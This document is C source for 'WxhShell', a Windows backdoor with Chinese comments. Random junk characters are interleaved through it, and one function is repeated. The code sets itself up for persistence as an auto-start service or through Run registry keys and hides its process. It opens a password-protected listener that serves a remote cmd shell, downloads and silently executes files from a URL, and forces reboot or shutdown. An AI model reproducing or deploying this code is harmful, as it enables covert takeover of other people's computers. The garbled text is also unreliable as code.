(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aWlIq(dU EwX{i}j_V if (!NtQueryInformationProcess) return 0; w]yVNB B~7!v${ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oda, if(!hProcess) return 0; r uGeN M;,$
)>P if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]gg(Z!|iQ (wM` LE(Ks CloseHandle(hProcess); b0YEIV<$ Y)DX hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =u ?aP}zc if(hProcess==NULL) return 0; o.Rv<a5.L 6[4VbIBSI HMODULE hMod; #XA`n@2Uoo char procName[255]; B~N3k unsigned long cbNeeded; Qj;{Z*l%+ {x.0Yh7 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); nvT@'y+ )t"-#$,@ CloseHandle(hProcess); 1kKfFpN g+4y^x(X@1 if(strstr(procName,"services")) return 1; // 以服务启动 P3: t
4^ 4&;iORw&E4 return 0; // 注册表启动 (Jw_2pHxr" } 3,Yr%`/5' Uu5(/vw] // 主模块 eF22 ~P int StartWxhshell(LPSTR lpCmdLine) j&oRj6;Ha+ { #}FUa u$ SOCKET wsl; V(F9=r<X BOOL val=TRUE; _OTVQo Ap int port=0; U]~@_j struct sockaddr_in door; Tk4>Jb Lr D@QBT if(wscfg.ws_autoins) Install(); j}eb
_K+I DkEv1]6JI_ port=atoi(lpCmdLine); L;%w{,Ji ~(ke'`gJ0- if(port<=0) port=wscfg.ws_port; G:":CX"O( 5EcVW|( WSADATA data; (+epRC if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7!pKlmQ ZQ_6I}i") if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; $VvgzjrH setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &]#L'D!" door.sin_family = AF_INET; $vf gYl4q door.sin_addr.s_addr = inet_addr("127.0.0.1"); R-S<7Q3E0= door.sin_port = htons(port); v/q-{1 ,;6 V=ok if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /oHCV0!0
closesocket(wsl); [jzsB:;XB& return 1; AtG~!)hG } 3X`9&0:j% Z|uvrFa if(listen(wsl,2) == INVALID_SOCKET) { 3T F_$bd{ closesocket(wsl); {uaDpRt return 1; GDL/5m# } 1xW!j!A; Wxhshell(wsl); B/1j4/MS WSACleanup(); Oh*~+/u}q r
|C.K return 0; 3-
Kgz w}>%E6UY } gmRc4o OL>>/T // 以NT服务方式启动 *x|%Nua" VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7@fS2mu { 6M*z`B{hV DWORD status = 0; q>.7VN[
vE DWORD specificError = 0xfffffff; C~qZ& @%Ld\8vdfJ serviceStatus.dwServiceType = SERVICE_WIN32; M?eP1v:<+G serviceStatus.dwCurrentState = SERVICE_START_PENDING; e$Ds2%SaT serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j8`
B serviceStatus.dwWin32ExitCode = 0; "/aZ*mkjfJ serviceStatus.dwServiceSpecificExitCode = 0; PN
l/}' serviceStatus.dwCheckPoint = 0; j2MA['{ serviceStatus.dwWaitHint = 0; O8@65URKx
0Idek hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]`&_!T if (hServiceStatusHandle==0) return; ?ZlXh51 })/P[^ status = GetLastError(); Yub}AuU`v if (status!=NO_ERROR) Cdz&'en^ { j%Au0k serviceStatus.dwCurrentState = SERVICE_STOPPED; rUb{iU;~m serviceStatus.dwCheckPoint = 0; ;`78h?` serviceStatus.dwWaitHint = 0; szsVk#p serviceStatus.dwWin32ExitCode = status; 9&eY<'MgP serviceStatus.dwServiceSpecificExitCode = specificError; c`!e#w SetServiceStatus(hServiceStatusHandle, &serviceStatus); \34vE@V* return; XIl<rN@- } Jw;~ $ @*YF!LdU{M serviceStatus.dwCurrentState = SERVICE_RUNNING; ]<>cjk.ya serviceStatus.dwCheckPoint = 0; =6[.||9 serviceStatus.dwWaitHint = 0; u?Ffqt9' if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?s^qWA } )j36Y =r3 f1 x&Fk // 处理NT服务事件,比如:启动、停止 .5
.(S^u VOID WINAPI NTServiceHandler(DWORD fdwControl) Z@0tZ^V{ { Zd[rn:9\ switch(fdwControl) _`udd)Y2 { Z!"-LQJ case SERVICE_CONTROL_STOP: k<< x}= serviceStatus.dwWin32ExitCode = 0; VhUWws3E serviceStatus.dwCurrentState = SERVICE_STOPPED; U#[&( serviceStatus.dwCheckPoint = 0; 1!v{#w{u7 serviceStatus.dwWaitHint = 0; !/XNp QP { !<p,G`r SetServiceStatus(hServiceStatusHandle, &serviceStatus); pWV_KS } d?*]/ZiR return; PEf yHf7` case SERVICE_CONTROL_PAUSE: }HoCfiE=X serviceStatus.dwCurrentState = SERVICE_PAUSED; Fc5.?X- break; X,k^p[Rcu case SERVICE_CONTROL_CONTINUE: $gUlM+sK serviceStatus.dwCurrentState = SERVICE_RUNNING; |H?t+Dyn)q break; ^jMrM.GY case SERVICE_CONTROL_INTERROGATE: + `|A/w break; s:3[#&PQpN }; o9eOp3w30 SetServiceStatus(hServiceStatusHandle, &serviceStatus); "JB4Uaa } TJ"-cWpO1 xnZnbgO+ // 标准应用程序主函数 7}X1A!1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %10ONe} { }nd>SK4 >O-KJZ'GV // 获取操作系统版本 +8Lbz^# OsIsNt=GetOsVer(); GTdoUSUq GetModuleFileName(NULL,ExeFile,MAX_PATH); %bi ie [:y:_ECs6 // 从命令行安装 T8o](:B~ if(strpbrk(lpCmdLine,"iI")) Install(); m)Plv+R} JQ03om--( // 下载执行文件 :wC\IwG~CE if(wscfg.ws_downexe) { :0J`4 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) keAoJeG,J WinExec(wscfg.ws_filenam,SW_HIDE); EQm{qc; } a^R?w|zCX W8d-4')| if(!OsIsNt) { _Si=Jp][ // 如果时win9x,隐藏进程并且设置为注册表启动 ?})A-$f ~ HideProc(); \Bo%2O%4 StartWxhshell(lpCmdLine); !D??Y^6bI } Nz
dN4+ else >rd#,r if(StartFromService()) /$c87\
// 以服务方式启动 EF`}*7) StartServiceCtrlDispatcher(DispatchTable); wMW<lT=; else 0g?)j- // 普通方式启动 :$k*y%Z*N& StartWxhshell(lpCmdLine); hne@I1 N:lfKI return 0; {kpF etXt? } z?o8h
N\ ;{ifLI0# s)1-xA{'. :PO./IBX =========================================== =
lo.LFV 6("_}9ZOc `Lr], >aG /|?$C7%a\D up5f]:! A=<7*E " 2HeX( rB &,&+p0CSI! #include <stdio.h> |:eTo<
#include <string.h> <z<>E1ZLI #include <windows.h> M"3"6U/ e #include <winsock2.h> =[(34# #include <winsvc.h> &QHJ%c #include <urlmon.h> S/]\GG{ gb_Y]U #pragma comment (lib, "Ws2_32.lib") ,X@o@W+L #pragma comment (lib, "urlmon.lib") Uy?jVPL FLi'}C #define MAX_USER 100 // 最大客户端连接数 6<lo0PQ"Z #define BUF_SOCK 200 // sock buffer x92^0cMf #define KEY_BUFF 255 // 输入 buffer y]h0c<NP i~';1
.g #define REBOOT 0 // 重启 f'*-<sSr #define SHUTDOWN 1 // 关机 !&:=sA m}"Hm(,6 #define DEF_PORT 5000 // 监听端口 eEZgG=s oIhKMQ;jh #define REG_LEN 16 // 注册表键长度 ?bZH Aed #define SVC_LEN 80 // NT服务名长度 ?NMk|+ 8b/$Qp4d // 从dll定义API YG\#N+D typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); QEyL/#Q typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c1f"z1Z typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :33@y%>L typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @Xo*TJB PT/Nz+ // wxhshell配置信息 CFbNv9GZj struct WSCFG { c-+NWC int ws_port; // 监听端口 }A3/( char ws_passstr[REG_LEN]; // 口令 7+HK_wNi int ws_autoins; // 安装标记, 1=yes 0=no $TIeeTB char ws_regname[REG_LEN]; // 注册表键名 v=llg ^ char ws_svcname[REG_LEN]; // 服务名 @v)Z>xv char ws_svcdisp[SVC_LEN]; // 服务显示名 xUdF.c char ws_svcdesc[SVC_LEN]; // 服务描述信息 YSD G! char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y7HFmGM int ws_downexe; // 下载执行标记, 1=yes 0=no '09|Y#F char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (y9KO56.V& char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dFz"wvu` o 6GxLaI }; &S >{9y% FV^jCseZ // default Wxhshell configuration 6`e{l+c=F struct WSCFG wscfg={DEF_PORT, 7]VR)VA M "xuhuanlingzhe", ~,)jZ-fw 1, 6W
i
n!4 "Wxhshell", d/d)MoaJ*t "Wxhshell", iH(7.?.r "WxhShell Service", qAjtvc2 "Wrsky Windows CmdShell Service", SXL3>-Z E "Please Input Your Password: ", {$frR "K 1, 2`=jKt "http://www.wrsky.com/wxhshell.exe", YC6T0m "Wxhshell.exe" SzW;Yb"#^k }; :>&q?xvA wps/{h, // 消息定义模块 #UM,)bH char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; D[$"nc/ char *msg_ws_prompt="\n\r? for help\n\r#>"; CNNqS^ct char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [> HKRVy char *msg_ws_ext="\n\rExit."; {ZeY:\G~ char *msg_ws_end="\n\rQuit."; e;.,x 5+ char *msg_ws_boot="\n\rReboot..."; m\>gOTpA4 char *msg_ws_poff="\n\rShutdown..."; 07 LyB\l~ char *msg_ws_down="\n\rSave to "; ~5HkDtI) -@N-i$!;J char *msg_ws_err="\n\rErr!"; 'va[)~! char *msg_ws_ok="\n\rOK!"; f{9+,z xFu ,e char ExeFile[MAX_PATH]; 0z=KnQx"4 int nUser = 0; tJ(xeb HANDLE handles[MAX_USER]; owNwj int OsIsNt; I}8e"# @ m`C%7< SERVICE_STATUS serviceStatus; bDl:,7; SERVICE_STATUS_HANDLE hServiceStatusHandle; $?GggP d SEgw!2H // 函数声明 h#0n2o # int Install(void); ;$D,w int Uninstall(void); >G`p T# int DownloadFile(char *sURL, SOCKET wsh); hUMG}< int Boot(int flag); c9/w{}F void HideProc(void); '{d_q6,% int GetOsVer(void); ,3:f4e\< int Wxhshell(SOCKET wsl); SdH=1zBc void TalkWithClient(void *cs); s$fM,l:! int CmdShell(SOCKET sock); /H'- }C int StartFromService(void); J*B-*6O44 int StartWxhshell(LPSTR lpCmdLine); k{*EoV[.$ 8qe[x\,"8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?m)<kY VOID WINAPI NTServiceHandler( DWORD fdwControl ); N#u'SGTG 5EtR>Pc // 数据结构和表定义 h"[B zX SERVICE_TABLE_ENTRY DispatchTable[] = cK$yr)7 { xkSX KR {wscfg.ws_svcname, NTServiceMain}, G$C2?|V)= {NULL, NULL} S1=P-Ao }; _T)y5/[ <F3{-f'Rx // 自我安装 ,6+joKe- int Install(void) dgVGP_~ { uda++^y: char svExeFile[MAX_PATH]; Cd'D
~'= HKEY key; _ZRmD\_t strcpy(svExeFile,ExeFile); J^8j|%h%e #S7oW@ // 如果是win9x系统,修改注册表设为自启动 >LPb>t5%p if(!OsIsNt) { Fyvo;1a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { - (s0f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h8V*$ RegCloseKey(key); ,:Px(=d4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Yn?beu' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1Ek3^TOv7 RegCloseKey(key); g9C;JmU return 0; "leSQ } j*3;G+ } p[4 +`8 } 2$JZ(qnN else { 19fa7E< EZ!! V~ // 如果是NT以上系统,安装为系统服务 >Tf}aI+ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G2`YZ\ if (schSCManager!=0) 8~U
^G[! { ?0~g1"Y-*K SC_HANDLE schService = CreateService e;6:U85LS ( `}Y)l:G*g schSCManager, AE~zmtW wscfg.ws_svcname, XL*M#Jx wscfg.ws_svcdisp, }8#olZ/(q SERVICE_ALL_ACCESS, *(x.egORd SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !gI0"p? SERVICE_AUTO_START, o@A`AA9 SERVICE_ERROR_NORMAL, M7BpOmK' svExeFile, P#TPI*qw NULL, hNc8uV{r= NULL, CVO_F=; NULL, xa`xHh{0 NULL, jtoS{B, NULL 4Uny.C] ); Yo %U{/e if (schService!=0) t'K+)OK { th{J;a CloseServiceHandle(schService); U)dcemQY CloseServiceHandle(schSCManager); Lv+{@) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); + }"+ strcat(svExeFile,wscfg.ws_svcname); DT-.Gdb8 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { V_3oAu54s{ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [FhYQI RegCloseKey(key); ";.j[p:gi return 0; Hec8pL } @>2]zMFf } [60y.qE CloseServiceHandle(schSCManager); knO
X5UnS } gb,ZN^3<- } ltOS()[X g:uVl;> return 1; J *LPv9) } !$n@:W/ bofI0f}5. // 自我卸载 TqJ @l int Uninstall(void) `:'ciY|%b { }wo:1v8J HKEY key; ,?LE5] +~=a$xA[C if(!OsIsNt) { Q7y'0s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '$,yV f RegDeleteValue(key,wscfg.ws_regname); NioqJG?p RegCloseKey(key); h`U-{VIrqi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `N[@lV\xp! RegDeleteValue(key,wscfg.ws_regname); JOuy_n RegCloseKey(key); nHRsr x return 0; {5VJprTbv } +1#oVl! } *Y85evq } 09McUR@ else { Ep-bx&w+ bF9.k SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &Sb)a if (schSCManager!=0) zgFL/a< { oY ~q^Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]6(%tU if (schService!=0) Wm1dFf.> { l|+$4 Nb2 if(DeleteService(schService)!=0) { O+&;,R: CloseServiceHandle(schService); wHbmK CloseServiceHandle(schSCManager); f5//?ek return 0; a)lCp } j f4<LmR CloseServiceHandle(schService); [!U%'' } H%vgPQ8 CloseServiceHandle(schSCManager); 6,4vs+(|\ } Wpf~Ji6|| } nHF66,7t ,|O6<u9 return 1; T}J)n5U}\ } 0J?443AY @V>]95RX // 从指定url下载文件 |./:A5_h int DownloadFile(char *sURL, SOCKET wsh) PM!JjMeQh { U
_pPI$ = HRESULT hr; OfrzmL<K char seps[]= "/"; v,opyTwG| char *token; P7>\j*U91{ char *file; Tf=1p1!3 char myURL[MAX_PATH]; ku/vV+&O char myFILE[MAX_PATH]; ~;6^n *_YH}U strcpy(myURL,sURL); AxEdQRGk token=strtok(myURL,seps); qbQdxKk while(token!=NULL) .0,G4k/yv { a{ke%W$*P file=token; &W3srJo token=strtok(NULL,seps); ADF<5#I } Wlg 1t~1= zvGncjMkC GetCurrentDirectory(MAX_PATH,myFILE); #e =E strcat(myFILE, "\\"); 7
2i&-`&4 strcat(myFILE, file); 1
jLQij send(wsh,myFILE,strlen(myFILE),0); pzt<[; send(wsh,"...",3,0); _x|R`1` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :CqR1_n% if(hr==S_OK) E<D^j^T return 0; N[-$*F,:_ else uo?R;fX26 return 1; HjzAFXRG qsEFf(9G } k]AL\)
&W gc I<bY // 系统电源模块 {oAD;m` int Boot(int flag) % dtn*NU { qOmL\'8 HANDLE hToken; 7[ n
|3 TOKEN_PRIVILEGES tkp; g?iZ RM 2f{p$YIt if(OsIsNt) { ]w,|WZm OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vH}VieU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5GPrZY" tkp.PrivilegeCount = 1; 6Ik
v}q_j tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8B+C[Q:+' AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uEhPO if(flag==REBOOT) { hKhad8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9s!R_R&W. return 0; V:t{mu5j } 8LF=l1=~ else { %x;~o: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zrA3bWs return 0; yD$d^/: } 'Sgz\=K } Z6M
qcAJ3j else { +t-_FbFh3D if(flag==REBOOT) { 'ahz@+lO if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) vz3olHX return 0; jZ"j_=o@ } #zgO_H else { ~("bpS#ZgD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -ert42fN return 0; ,+Ocb-* } `c^">L } [uJS.`b )x?)v#k return 1; =/xx:D/ } mm*nXJ `tuGy}S2
// win9x进程隐藏模块 4Q1R:Ra void HideProc(void) ,ExY.'%1 { ,*9gy$ zgGJ<=G. HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YADXXQ" if ( hKernel != NULL ) |}8SjZcQW { BbCW3!( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jrS$!cEo ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sUQ
Q/F6 FreeLibrary(hKernel); ,*\s } (]?M=?0\ 6cjCn return; *q\>DE=7 } 3me&isKL 6~>h;wC // 获取操作系统版本 2B)1
tP int GetOsVer(void) > Xij+tt{ { Hj1?c,mo4 OSVERSIONINFO winfo; A|4
3W= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e NH9`Aa GetVersionEx(&winfo); #}Xsi&:XU if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Y~*aA&D return 1; x&JD~,Y else ]R!YRu return 0; <EE^ KR96 } M(C$SB> vxi_Y\r=T // 客户端句柄模块 eA``fpr int Wxhshell(SOCKET wsl) ePR9r} { j4`+RS+q SOCKET wsh; 9D,!] struct sockaddr_in client; 8df| 9E$ DWORD myID; ]
M#LB&Pe kaoiSL<[6 while(nUser<MAX_USER) >T:0 { *)?'! int nSize=sizeof(client); "~zLG" wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UxF9Ko( ]d if(wsh==INVALID_SOCKET) return 1; |+[Y_j $*:$- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w /PE )xA if(handles[nUser]==0) nW K7* closesocket(wsh); II=!E else dK8dC1@,X; nUser++; 9pr.`w } f;OB"p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /<-=1XJI
3 _!MVT return 0; ,_<|e\>~ } X(.[rC> rXBCM // 关闭 socket JrX. f void CloseIt(SOCKET wsh) Zz QLbCV { Nq6;
z)$ closesocket(wsh); !&.-{ _$ nUser--; P1^|r} ExitThread(0); 3xdJ<Lrq } Q Wc^}#!! $-jj%kS // 客户端请求句柄 \hEIQjfi void TalkWithClient(void *cs) qu'D"0 { bI(8Um6m XWNo)#_3 SOCKET wsh=(SOCKET)cs; 2AMb-&po&f char pwd[SVC_LEN]; QctzIC#;k char cmd[KEY_BUFF]; 8\C][ y char chr[1]; n0EW
U,1 int i,j; DSq?|H @,2,(=l*C while (nUser < MAX_USER) { D#`>p 0%q H=do6 if(wscfg.ws_passstr) { ;|$o z{Ll if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); R[*n3
wB //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !g)rp`? //ZeroMemory(pwd,KEY_BUFF); ,)TnIByM i=0; %]4=D)Om while(i<SVC_LEN) { 2 J3/Eu i]4n YYS // 设置超时 ~J5B?@2hK fd_set FdRead; C(z'oi:f struct timeval TimeOut; ]n"U])pJd FD_ZERO(&FdRead); ( *K)D$y FD_SET(wsh,&FdRead); b5KK0Jjk TimeOut.tv_sec=8; to1r
88X TimeOut.tv_usec=0; l[%=S! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Lp4F1H2t- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lOe|]pQ., p8?"} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nqTOAL9FF pwd=chr[0]; ;i/? fw[h if(chr[0]==0xd || chr[0]==0xa) { vCK+v
r! pwd=0; KDV.ZSF7 break;
3Z`
wU } 6V@_?a-K i++; @6aJh< c } <$a-.C5 T5I#7LN# // 如果是非法用户,关闭 socket a<E9@ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P3Vh|<'7 } -yBj7F| ^-|~c`&}B send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^|hVFM2 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); SkCux m~P30) while(1) { =w"Kkj>%oh /;[x3}[ ZeroMemory(cmd,KEY_BUFF); Q7d@+C <%rm?;PBl // 自动支持客户端 telnet标准 G$QN_h,} j=0; Ho[]03 while(j<KEY_BUFF) { x%[NK[^& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hsYE&Np_Q cmd[j]=chr[0]; .=d40m if(chr[0]==0xa || chr[0]==0xd) { PyK!Cyq cmd[j]=0; !#*#ji xo break; BpX` 49 } fBz|-I:k
+ j++; @0C[o9 } j+q) cD)9EFo // 下载文件 H5
:,hrZY if(strstr(cmd,"http://")) { AGjjhbGB send(wsh,msg_ws_down,strlen(msg_ws_down),0); >ZeARCf"f if(DownloadFile(cmd,wsh)) TXf60{:f send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z5*(xony0 else -AolW+Y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y9LO;{( } Qe4 % A else { utl-#Wwt/ ._<,
Eodv switch(cmd[0]) { +uTl
Lu;MT )l!`k // 帮助 >Bdh`Ot-! case '?': { HD2C^V2@M send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @#-\BQ; break; -Lb7=98 } i:jB // 安装 Dsc0;7~6 case 'i': { njO~^Hl7 if(Install()) Yo=$@~vN] send(wsh,msg_ws_err,strlen(msg_ws_err),0); o~L(;A]yN else ~Lg ;7i1L
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EE`[J0 ( break; F#RN m5 } BIew\N
// 卸载 V}7)>i$A case 'r': { bhbTloCR if(Uninstall()) t.VVE:A^% send(wsh,msg_ws_err,strlen(msg_ws_err),0); FKL@,>!<e else wPu.hVz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v ;Q*0%~ break; ;(;~yB|NZ5 } TA:uB[Ji // 显示 wxhshell 所在路径 KhX)maQ case 'p': { fE&s 6w& char svExeFile[MAX_PATH]; Dv`"3 strcpy(svExeFile,"\n\r"); ~gOZ\jm} strcat(svExeFile,ExeFile); j72mm! send(wsh,svExeFile,strlen(svExeFile),0); jvD_{r break; R#8cOmZ } 7 b( // 重启 %|^,Q -i, case 'b': { ?9!9lSH6% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H+]h+K9\7 if(Boot(REBOOT)) fo`R=|L[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); , /jHhKW else { kumo%TXB& closesocket(wsh); RP[`\ ExitThread(0); BS,EW } &5bIM>)v break; @Bjp7v:w } 0=t2|,} // 关机 .J&89I]U case 'd': { S'w}Ir send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Y
9z*xS if(Boot(SHUTDOWN)) bb\XZ~)F send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3 |LRb/| else { :D;pD l closesocket(wsh); q
#7Nk)<.
ExitThread(0); f\Hw Y)^> } :A:7^jrhi break; *O @Zn } !b4AeiL>w // 获取shell @,;h!vB*= case 's': { Qp)?wny4 CmdShell(wsh); |`Yn'Mj8rm closesocket(wsh); {Oq8A.daJ ExitThread(0); Ruq>+ }4 break; MU2kA&LH } N;BuBm5K // 退出 v6Y[_1 case 'x': { rz-61A) _ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K`uPPyv CloseIt(wsh); Nq\)o{<1 break; `.3.n8V } &y|Ps eH" // 离开 8g-Z~~0W1 case 'q': { v<)&JlR send(wsh,msg_ws_end,strlen(msg_ws_end),0); *zDDi(@vtK closesocket(wsh); /-m) WSACleanup(); c;-NRvVb exit(1); *B{] break; 0T#z"l<L } ,_w}\'?L } *P]]7DR } .d$Q5Qae '@w'(}3!3R // 提示信息 f}4A,%:1 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =2DK?]K; } '+j;g } llh
+r? |M
t2 return; V>Xg\9B_ } k\*?<g D)l\zs%ie // shell模块句柄 #902x*Z'c" int CmdShell(SOCKET sock) R+e)TR7+ { Dd/]?4 STARTUPINFO si; 9n_RkW5g ZeroMemory(&si,sizeof(si)); h05FR[</ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =ud~ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %hZX XpuO PROCESS_INFORMATION ProcessInfo; kq?:<!z char cmdline[]="cmd"; G/fBeK$. CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uV@'898%5 return 0; yD.(j*bMK; } Rbr:Q]zGN gi5X,:[ // 自身启动模式 @p^EXc*| int StartFromService(void) q
_K@KB { QJiH^KY6 typedef struct x5pu+-h { `'3 De( DWORD ExitStatus; c(FGW7L< DWORD PebBaseAddress; -r_\=<( DWORD AffinityMask; :"Tkl$@, DWORD BasePriority; 89{;R ULONG UniqueProcessId; @|">j#0 ULONG InheritedFromUniqueProcessId; KSEKoHJo } PROCESS_BASIC_INFORMATION; }U5$~,*p QHUFS{G] PROCNTQSIP NtQueryInformationProcess; 3&{6+ A 'W54 T static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0.nkh6? static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "iX\U'` qxHn+O!h HANDLE hProcess; m?Cb^WgcF PROCESS_BASIC_INFORMATION pbi; Oj_F1.
r DrAIQ7Jd HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); a j
.7t=^ if(NULL == hInst ) return 0; )1@%!fr /uDcJ1u66 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L>E{~yh g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eLXL5&}`fh NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); oTXIs4+G kjdIk9 Y if (!NtQueryInformationProcess) return 0; (f_J @n q *Hg-J} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &?5)Jis: if(!hProcess) return 0; ya^8mp- fGs\R] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H_x}- V:P]Ved CloseHandle(hProcess); j;D$qd'J D0kz;X hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uW/>c$*) if(hProcess==NULL) return 0; [P ;fv BzWkZAX HMODULE hMod; ?2,D-3 { char procName[255]; QXL .4r% unsigned long cbNeeded; gN[t J]S30&? if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S*J\YcqSC ]>k8v6*= CloseHandle(hProcess); ycOnPTh #<sK3 PT if(strstr(procName,"services")) return 1; // 以服务启动 3W#E$^G_v !^0vi3I return 0; // 注册表启动 `Je1$)% } QOrMz`OA g=qaq
